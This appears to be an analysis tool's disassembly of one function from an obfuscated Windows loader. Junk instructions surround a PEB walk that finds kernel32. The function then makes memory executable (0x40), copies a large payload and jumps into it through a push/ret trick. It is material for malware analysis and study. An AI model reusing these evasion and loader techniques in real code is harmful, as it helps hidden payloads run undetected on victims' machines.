Function at 0x401fdf
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
rcr di, 0x61
shl eax, 0xd8
xor edx, 0x1ef
imul eax
ror ebx, 0xa
shr dx, 0x4f
ror eax, 0x35
imul esi
mov ax, 0x277
mul cx
shr ecx, 0xf5
dec edi
rol eax, 0xd3
rcr si, 0x12
dec ebx
mul si
imul ecx
shl dx, 8
rcl bx, 0xaf
mul ax
mul esi
mov dx, cx
shr esi, 0x2f
shr esi, 0x66
shr bx, 0x26
jne 0x40204d
cmp ecx, 0x3c
ja 0x40207b
dec edx
ror ax, 0xda
shl eax, 0x1b
shr bx, 0x98
dec ebx
dec ebx
xor ecx, ebx
jmp 0x40206b
and dx, ax
rcl eax, 0x52
mov edx, 0x209
rcl si, 1
rol dx, 0xba
mov dx, dx
or edx, ecx
rol dx, 0xa7
mul dx
or di, di
xor ebx, edx
ja 0x40207b
rcr ebx, 0xcd
movsx ecx, dh
dec ecx
jmp 0x402088
movsx ebx, al
rol dx, 0x13
movsx ebx, si
shr eax, 0xfc
inc esi
dec si
imul eax
jb 0x40209e
test ebx, 0x4e
jb 0x4020d3
xor esi, ebx
movzx ecx, dh
jmp 0x4020ad
movzx edi, dx
ror ax, 0xc
shr ax, 0x16
rcl si, 0x9b
shr edx, 0x4c
sub ebx, esi
sub ax, cx
mov edi, 0x4f
rcl edi, 0xce
mul eax
shl dx, 0xeb
shl esi, 0x93
imul cx
movsx esi, cx
jae 0x4020d3
rcl ecx, 0x52
jmp 0x4020db
sub ecx, 0x1aa
mul ecx
rol eax, 0x9f
dec bx
jb 0x402103
mov ebx, ebx
mul dx
mov dx, ax
inc bx
imul ax
rcl ebx, 0xc8
shr ax, 0xd4
xor di, 0x34a
or esi, 0x1b9
jmp 0x40211b
shl dx, 0x7f
imul edx
rcl si, 0x51
sub ecx, ecx
and edx, ebx
sub edx, ebx
ror esi, 0xc5
and edx, ebx
shr ecx, 0x33
dec edi
mov ecx, edx
shr eax, 0xb5
rcr edi, 0x8e
mul edx
inc dx
xor cx, cx
ror di, 0xf
je 0x40213a
dec esi
dec cx
dec eax
imul bx
jmp 0x402147
and esi, 0x2e6
or si, 0x369
mul esi
shl dx, 0x9c
rcl dx, 0xcc
inc ax
rcl esi, 0x69
or eax, 0x204
inc bx
je 0x40217d
mov eax, edi
imul ebx
sub bx, cx
ror ecx, 0x53
rcl di, 0xa4
shr si, 0x1e
mul si
imul eax
imul edi
and si, 0x396
jmp 0x40217f
dec dx
sub ax, si
rcr esi, 0xdf
rcr edx, 0x77
rcl edi, 0x6a
imul ebx
shl si, 0xc
dec bx
or cx, 0xfc
rol eax, 0x5f
ja 0x4021c1
ror bx, 7
add bx, 0x163
ror si, 0x84
dec edi
mul di
dec esi
sub eax, 0x3e2
shl bx, 0x7c
rol edx, 0x60
shl dx, 0xbe
jmp 0x4021d9
rcl dx, 0xf8
inc eax
shr di, 0x20
sub ecx, edi
shl ebx, 0x15
mov di, 0x180
rcr ecx, 0x75
movzx ecx, cx
inc ebx
shr cx, 0x14
dec edi
add eax, 0x3e3
sub dx, 0xa1
ror edx, 0xfa
shl cx, 0x8e
mov dx, bx
movsx eax, dx
mov si, 0x119
jae 0x402213
xor ax, 0x24e
or si, 0x3b4
rcl ebx, 0xa
dec bx
shl cx, 0xdf
imul dx
jmp 0x402221
dec ecx
sub ax, 0x11b
sub bx, 0x142
mov di, 0x275
add dx, 0x1a1
rol ecx, 0xcf
shr esi, 0x8c
or bx, si
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x486348], eax
push ecx
push 0x42cac0
mov edx, 0x4e4
mov ecx, 0x484ae0
call fcn.00401bee
pop ecx
pop ecx
imul ax
inc ecx
shr ecx, 0xf5
mov dx, 0x1b2
add dx, 0x324
imul si
sub dx, di
and dx, 0x20f
sub ax, 0x1b8
and ecx, 0x389
inc eax
dec ebx
dec esi
imul di
sub cx, si
rcr cx, 0x64
or dx, 0x149
dec ax
inc cx
inc ecx
imul esi
dec di
jae 0x4022af
rol esi, 0xbb
ror esi, 0x36
sub si, dx
movsx ebx, dh
jmp 0x4022ce
or ax, 0x141
ror ax, 0x52
rol di, 0x85
dec dx
mov esi, 0x5f
mul esi
mov bx, si
inc bx
and dx, 0x21e
mul ax
inc edx
and cx, 0x34e
mov ax, 0x246
add dx, 0x1cb
shr ecx, 0xff
jae 0x4022f6
rcr edi, 0x2a
mul esi
inc bx
inc dx
rol edi, 8
mul ax
jmp 0x402300
sub di, 0x19f
dec edi
dec ecx
mov cx, di
rcr eax, 0x41
imul ax
and di, ax
sub edx, 0xcf
mul cx
dec edx
inc bx
shl dx, 0xe8
jb 0x402328
xor esi, 0x1cf
dec di
mul cx
jmp 0x402331
rcl si, 0x9c
mul ax
dec si
rol dx, 0x16
dec esi
add ebx, ebx
movzx esi, cx
mul cx
jae 0x40235b
dec edx
imul ebx
rcl dx, 2
and edi, 0x2c0
and dx, di
inc bx
inc si
mul ax
xor ebx, edi
jmp 0x40235d
inc bx
mul di
dec edx
je 0x402388
test esi, 0x3b
jne 0x4023ca
rcr si, 0xe8
rcr ax, 0xdd
and ebx, 0x8b
and ecx, 0x391
mul dx
add esi, ecx
inc si
jmp 0x4023a1
mul dx
mul ax
shr dx, 0xed
dec dx
inc ebx
inc ecx
shl eax, 0x82
and ax, bx
and si, 0x1c9
dec dx
imul di
inc edi
dec di
add ax, bx
ror ax, 0xbc
or di, 0x312
and di, dx
je 0x4023ca
cmp esi, 0x55
ja 0x402417
dec si
dec edi
rcl si, 0x9b
add ecx, ecx
jmp 0x4023ed
and ebx, 0x26f
rol cx, 0x96
rcr cx, 0xe7
and edx, 0x292
movsx eax, si
xor edi, edi
inc ecx
shl bx, 0x9f
xor ecx, edx
ror ecx, 0x47
ror di, 0xa6
rcr edx, 0x32
sub edx, edx
rcr dx, 0xd9
xor bx, 0x3a8
ror edi, 0xef
imul esi
jb 0x402417
cmp ebx, 0x56
je 0x402450
mov edi, esi
imul cx
mul edx
movzx eax, dh
jmp 0x402428
dec bx
mov bx, ax
shr cx, 0x30
dec ebx
dec ebx
rcl eax, 0x84
shr eax, 0x6a
shr ax, 0x9f
mov dx, bx
jb 0x402450
rcr esi, 0x8f
rol ebx, 0x6d
movsx eax, dh
mov dx, bx
shl bx, 0xf4
shr edx, 0x17
xor di, di
mov eax, ebx
inc edi
rcr ax, 0x9a
jmp 0x402466
movsx esi, ax
dec bx
imul dx
add ebx, 0x33f
or si, ax
rcr dx, 0xff
inc edx
movsx ecx, dx
movsx ecx, dl
dec esi
mul cx
and eax, 0x117
add ax, 0x99
call fcn.00401f34
lea ecx, [ebp - 8]
mov dword [ebp - 4], 0x188
push ecx
push 0x40
push 0x4e4
push 0x484ae0
call eax
test eax, eax
je 0x4024dd
push ecx
push 0x484fd0
mov edx, 0x58000
mov ecx, 0x42cae0
call fcn.00401bee
pop ecx
pop ecx
mov esi, 0x42cae0
push esi
mov edx, 0x484ae0
mov ecx, dword [ebp - 4]
add edx, ecx
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], edx
lea edi, sym.imp.KERNEL32.dll_FreeConsole
mov edi, dword [edi]
push edi
ret
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10